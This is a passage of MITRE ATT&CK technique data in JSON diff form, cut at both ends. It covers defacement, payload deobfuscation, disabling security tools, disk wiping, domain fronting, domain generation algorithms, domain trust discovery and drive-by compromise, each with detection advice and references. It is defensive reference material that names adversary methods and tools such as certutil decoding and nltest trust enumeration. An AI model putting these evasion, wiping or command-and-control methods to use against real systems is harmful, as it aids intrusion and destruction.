"2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Web application firewall logs", + "Web logs", + "Packet capture" + ], + "name": "Defacement", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. \n\n### Internal\nAn adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)\n\n### External \nWebsites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)\n", + "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Integrity" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-08T17:51:41.390Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1491", + "url": "https://attack.mitre.org/techniques/T1491" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "FireEye Cyber Threats to Media Industries", + "description": "FireEye. (n.d.). Retrieved April 19, 2019.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf" + }, + { + "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence", + "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.", + "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf" + }, + { + "source_name": "Anonymous Hackers Deface Russian Govt Site", + "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.", + "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/" + }, + { + "source_name": "Trend Micro Deep Dive Into Defacement", + "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf" + } + ], + "modified": "2019-07-19T14:35:43.812Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Deobfuscate/Decode Files or Information", + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", + "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2019-04-25T17:44:54.615Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Red Canary" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1140", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1140" + }, + { + "source_name": "Malwarebytes Targeted Attack against Saudi Arabia", + "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + }, + { + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/" + }, + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "Signature-based detection", + "Network intrusion detection system" + ] + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Services", + "Windows Registry", + "Process command-line parameters", + "Anti-virus" + ], + "name": "Disabling Security Tools", + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", + "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T19:02:55.134Z", + "created": "2017-05-31T21:31:07.958Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1089", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1089" + }, + { + "source_name": "capec", + "external_id": "CAPEC-578", + "url": "https://capec.mitre.org/data/definitions/578.html" + } + ], + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Signature-based detection", + "Log analysis", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "Kernel drivers", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "name": "Disk Content Wipe", + "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", + "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29T14:59:50.763Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1488", + "url": "https://attack.mitre.org/techniques/T1488" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Destructive Malware", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + } + ], + "modified": "2019-07-19T14:36:10.640Z" + }, + { + "x_mitre_data_sources": [ + "Kernel drivers", + "MBR" + ], + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM" + ], + "name": "Disk Structure Wipe", + "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Availability" + ], + "type": "attack-pattern", + "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-19T19:38:27.097Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1487", + "url": "https://attack.mitre.org/techniques/T1487" + }, + { + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "source_name": "Kaspersky StoneDrill 2017", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "modified": "2019-07-19T14:36:43.706Z" + }, + { + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Packet capture" + ], + "name": "Domain Fronting", + "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", + "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1172", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1172" + }, + { + "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015", + "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.", + "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + } + ], + "modified": "2019-07-17T19:25:38.185Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Packet capture", + "Network device logs", + "Netflow/Enclave netflow", + "DNS records" + ], + "name": "Domain Generation Algorithms", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Sylvain Gil, Exabeam", + "Barry Shteiman, Exabeam", + "Ryan Benson, Exabeam" + ], + "created": "2019-02-18T17:22:57.831Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1483", + "url": "https://attack.mitre.org/techniques/T1483" + }, + { + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "source_name": "Cybereason Dissecting DGAs", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA", + "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/" + }, + { + "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.", + "source_name": "Unit 42 DGA Feb 2019", + "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "source_name": "Akamai DGA Mitigation", + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "source_name": "ESET Sednit 2017 Activity", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + }, + { + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "source_name": "Data Driven Security DGA", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + }, + { + "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.", + "source_name": "Pace University Detecting DGA May 2017", + "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf" + }, + { + "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", + "source_name": "Endgame Predicting DGA", + "url": "https://arxiv.org/pdf/1611.00791.pdf" + } + ], + "modified": "2019-07-17T19:32:24.136Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "PowerShell logs", + "API monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "name": "Domain Trust Discovery", + "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", + "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the DSEnumerateDomainTrusts() Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1086). The .NET method GetAllTrustRelationships() can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Dave Westgard", + "Elia Florio, Microsoft", + "Mnemonic", + "RedHuntLabs (@redhuntlabs)" + ], + "created": "2019-02-14T16:15:05.974Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1482", + "url": "https://attack.mitre.org/techniques/T1482" + }, + { + "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.", + "source_name": "Microsoft Trusts", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)" + }, + { + "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.", + "source_name": "AdSecurity Forging Trust Tickets", + "url": "https://adsecurity.org/?p=1588" + }, + { + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "source_name": "Harmj0y Domain Trusts", + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ " + }, + { + "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.", + "source_name": "Microsoft Operation Wilysupply", + "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/" + }, + { + "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.", + "source_name": "Microsoft GetAllTrustRelationships", + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships" + } + ], + "modified": "2019-07-17T19:33:25.991Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Network device logs", + "Process use of network", + "Web proxy", + "Network intrusion detection system", + "SSL/TLS inspection" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Drive-by Compromise", + "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring application access tokens.\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "id": 